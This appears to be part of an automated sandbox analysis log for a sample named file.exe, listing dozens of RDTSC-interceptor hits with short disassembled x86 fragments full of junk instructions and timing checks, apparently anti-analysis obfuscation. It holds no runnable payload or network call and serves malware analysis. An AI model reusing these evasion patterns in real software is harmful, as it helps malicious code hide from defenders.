Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E80F second address: 54E819 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F8EA8EA37D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E819 second address: 54E81D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E81D second address: 54E832 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8EA8EA37DFh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54EBA5 second address: 54EBC1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 pop eax 0x00000005 jmp 00007F8EA84FC12Fh 0x0000000a pop ebx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F100 second address: 54F115 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8EA8EA37D6h 0x00000008 jmp 00007F8EA8EA37DBh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F115 second address: 54F11C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550C0D second address: 550CEE instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8EA8EA37DCh 0x00000008 jg 00007F8EA8EA37D6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 mov dword ptr [ebp+122D1986h], eax 0x00000017 mov dx, FBBBh 0x0000001b push 00000000h 0x0000001d jmp 00007F8EA8EA37DBh 0x00000022 mov dx, cx 0x00000025 push B5094933h 0x0000002a jmp 00007F8EA8EA37DAh 0x0000002f add dword ptr [esp], 4AF6B74Dh 0x00000036 xor esi, 220CC90Dh 0x0000003c push 00000003h 0x0000003e mov esi, dword ptr [ebp+122D39D5h] 0x00000044 push 00000000h 0x00000046 call 00007F8EA8EA37E3h 0x0000004b and dh, 00000027h 0x0000004e pop edx 0x0000004f push 00000003h 0x00000051 sub dword ptr [ebp+122D2B0Ch], edi 0x00000057 call 00007F8EA8EA37D9h 0x0000005c pushad 0x0000005d pushad 0x0000005e jmp 00007F8EA8EA37E3h 0x00000063 push eax 0x00000064 pop eax 0x00000065 popad 0x00000066 jmp 00007F8EA8EA37E6h 0x0000006b popad 0x0000006c push eax 0x0000006d jmp 00007F8EA8EA37DFh 0x00000072 mov eax, dword ptr [esp+04h] 0x00000076 push ecx 0x00000077 jmp 00007F8EA8EA37DAh 0x0000007c pop ecx 0x0000007d mov eax, dword ptr [eax] 0x0000007f push eax 0x00000080 push edx 0x00000081 jmp 00007F8EA8EA37E5h 0x00000086 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550CEE second address: 550D2E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jl 00007F8EA84FC126h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 jmp 00007F8EA84FC136h 0x00000015 pop eax 0x00000016 mov ecx, edi 0x00000018 lea ebx, dword ptr [ebp+12454ACDh] 0x0000001e mov ecx, dword ptr [ebp+122D38BDh] 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 jbe 00007F8EA84FC126h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550D2E second address: 550D34 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550D77 second address: 550D7D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550D7D second address: 550DCE instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8EA8EA37EBh 0x00000008 jmp 00007F8EA8EA37E5h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 pushad 0x00000011 jp 00007F8EA8EA37D8h 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a pop edx 0x0000001b popad 0x0000001c nop 0x0000001d pushad 0x0000001e mov ebx, 369531EEh 0x00000023 mov esi, edi 0x00000025 popad 0x00000026 mov cl, 2Fh 0x00000028 push 00000000h 0x0000002a mov dword ptr [ebp+122D18C3h], ebx 0x00000030 push CCF8FE63h 0x00000035 pushad 0x00000036 pushad 0x00000037 jng 00007F8EA8EA37D6h 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550EAD second address: 550EB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550EB1 second address: 550ED5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8EA8EA37E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550F2F second address: 550F33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550F33 second address: 550F39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550F39 second address: 550F94 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F8EA84FC12Ah 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007F8EA84FC128h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 00000015h 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 push 00000000h 0x0000002b jno 00007F8EA84FC12Bh 0x00000031 push EFE23885h 0x00000036 push ecx 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007F8EA84FC135h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550F94 second address: 550FEC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 add dword ptr [esp], 101DC7FBh 0x0000000e mov dword ptr [ebp+122D2A87h], ebx 0x00000014 push 00000003h 0x00000016 push 00000000h 0x00000018 push eax 0x00000019 call 00007F8EA8EA37D8h 0x0000001e pop eax 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 add dword ptr [esp+04h], 00000017h 0x0000002b inc eax 0x0000002c push eax 0x0000002d ret 0x0000002e pop eax 0x0000002f ret 0x00000030 mov esi, dword ptr [ebp+122D38CDh] 0x00000036 mov cx, AA94h 0x0000003a push 00000000h 0x0000003c mov ecx, dword ptr [ebp+122D3A69h] 0x00000042 push 00000003h 0x00000044 mov esi, dword ptr [ebp+122D3909h] 0x0000004a push B9909AA5h 0x0000004f pushad 0x00000050 push ecx 0x00000051 push eax 0x00000052 push edx 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550FEC second address: 550FF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 je 00007F8EA84FC126h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550FF9 second address: 551044 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 add dword ptr [esp], 066F655Bh 0x0000000e sub si, C490h 0x00000013 lea ebx, dword ptr [ebp+12454AE1h] 0x00000019 push 00000000h 0x0000001b push esi 0x0000001c call 00007F8EA8EA37D8h 0x00000021 pop esi 0x00000022 mov dword ptr [esp+04h], esi 0x00000026 add dword ptr [esp+04h], 00000019h 0x0000002e inc esi 0x0000002f push esi 0x00000030 ret 0x00000031 pop esi 0x00000032 ret 0x00000033 mov dword ptr [ebp+122D2B84h], edx 0x00000039 xchg eax, ebx 0x0000003a pushad 0x0000003b pushad 0x0000003c push ebx 0x0000003d pop ebx 0x0000003e pushad 0x0000003f popad 0x00000040 popad 0x00000041 pushad 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 563148 second address: 563152 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8EA84FC126h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 572E79 second address: 572E7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 542EC3 second address: 542EC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 570BF8 second address: 570BFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 570BFE second address: 570C15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8EA84FC133h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 570D95 second address: 570DA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jns 00007F8EA8EA37D6h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 571043 second address: 571047 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 571047 second address: 57104B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 571315 second address: 571319 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 571319 second address: 571329 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 jg 00007F8EA8EA37DEh 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57146B second address: 5714AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F8EA84FC135h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jne 00007F8EA84FC141h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 571794 second address: 571798 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 571C73 second address: 571C77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 569191 second address: 569195 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 572728 second address: 57272E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57272E second address: 572748 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F8EA8EA37DEh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 572748 second address: 57275A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push esi 0x00000008 push ebx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push esi 0x0000000c pop esi 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5728D8 second address: 5728DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 572A26 second address: 572A2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 572A2C second address: 572A36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 574380 second address: 574389 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 574389 second address: 574396 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 574396 second address: 5743A8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F8EA84FC12Ah 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 575493 second address: 575497 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 575497 second address: 57549D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57549D second address: 5754AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8EA8EA37DBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5767FD second address: 57681E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8EA84FC138h 0x00000008 push edx 0x00000009 pop edx 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57681E second address: 576833 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 push ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 576833 second address: 576846 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F8EA84FC126h 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d ja 00007F8EA84FC126h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 576846 second address: 576853 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8EA8EA37D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 576853 second address: 576859 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 538CE8 second address: 538D1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8EA8EA37DFh 0x00000009 push ecx 0x0000000a jmp 00007F8EA8EA37E5h 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 jo 00007F8EA8EA37D6h 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57CBDC second address: 57CBE3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57D470 second address: 57D491 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F8EA8EA37DDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F8EA8EA37DCh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57D627 second address: 57D645 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F8EA84FC133h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57D645 second address: 57D654 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8EA8EA37D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57D654 second address: 57D687 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ebx 0x00000006 jmp 00007F8EA84FC133h 0x0000000b pushad 0x0000000c popad 0x0000000d pop ebx 0x0000000e popad 0x0000000f pushad 0x00000010 pushad 0x00000011 push edi 0x00000012 pop edi 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 push esi 0x00000017 jmp 00007F8EA84FC12Ch 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57ED97 second address: 57EDA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 jbe 00007F8EA8EA37D6h 0x0000000c push eax 0x0000000d pop eax 0x0000000e push edi 0x0000000f pop edi 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 581BE1 second address: 581BEC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F8EA84FC126h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5820B2 second address: 5820B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5822B4 second address: 5822B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5822B8 second address: 5822CC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5822CC second address: 5822E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8EA84FC138h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58276E second address: 582772 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5829B3 second address: 5829B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 582A93 second address: 582AAF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8EA8EA37E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 582D11 second address: 582D17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5858AE second address: 5858B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5858B3 second address: 5858B8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58973B second address: 58973F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58973F second address: 589743 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 589743 second address: 589759 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jng 00007F8EA8EA37E2h 0x0000000e js 00007F8EA8EA37DCh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A147 second address: 58A14C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 589EE6 second address: 589EEC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 589EEC second address: 589EF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F8EA84FC126h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58AD67 second address: 58AD71 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F8EA8EA37DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 589EF6 second address: 589EFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58EAFD second address: 58EB16 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8EA8EA37DBh 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pushad 0x00000011 popad 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58FB01 second address: 58FB05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58EB16 second address: 58EB1B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58FB05 second address: 58FB0B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 591BF2 second address: 591BFF instructions: 0x00000000 rdtsc 0x00000002 je 00007F8EA8EA37D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5967F4 second address: 5967F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 597883 second address: 59788D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F8EA8EA37D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5959D3 second address: 5959D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5959D9 second address: 5959E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5959E3 second address: 5959F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jns 00007F8EA84FC128h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 598781 second address: 5987E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8EA8EA37E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c call 00007F8EA8EA37DBh 0x00000011 pop edi 0x00000012 push 00000000h 0x00000014 mov bl, 79h 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push ebp 0x0000001b call 00007F8EA8EA37D8h 0x00000020 pop ebp 0x00000021 mov dword ptr [esp+04h], ebp 0x00000025 add dword ptr [esp+04h], 00000015h 0x0000002d inc ebp 0x0000002e push ebp 0x0000002f ret 0x00000030 pop ebp 0x00000031 ret 0x00000032 mov dword ptr [ebp+122D2964h], edi 0x00000038 push eax 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007F8EA8EA37E3h 0x00000040 rdtsc
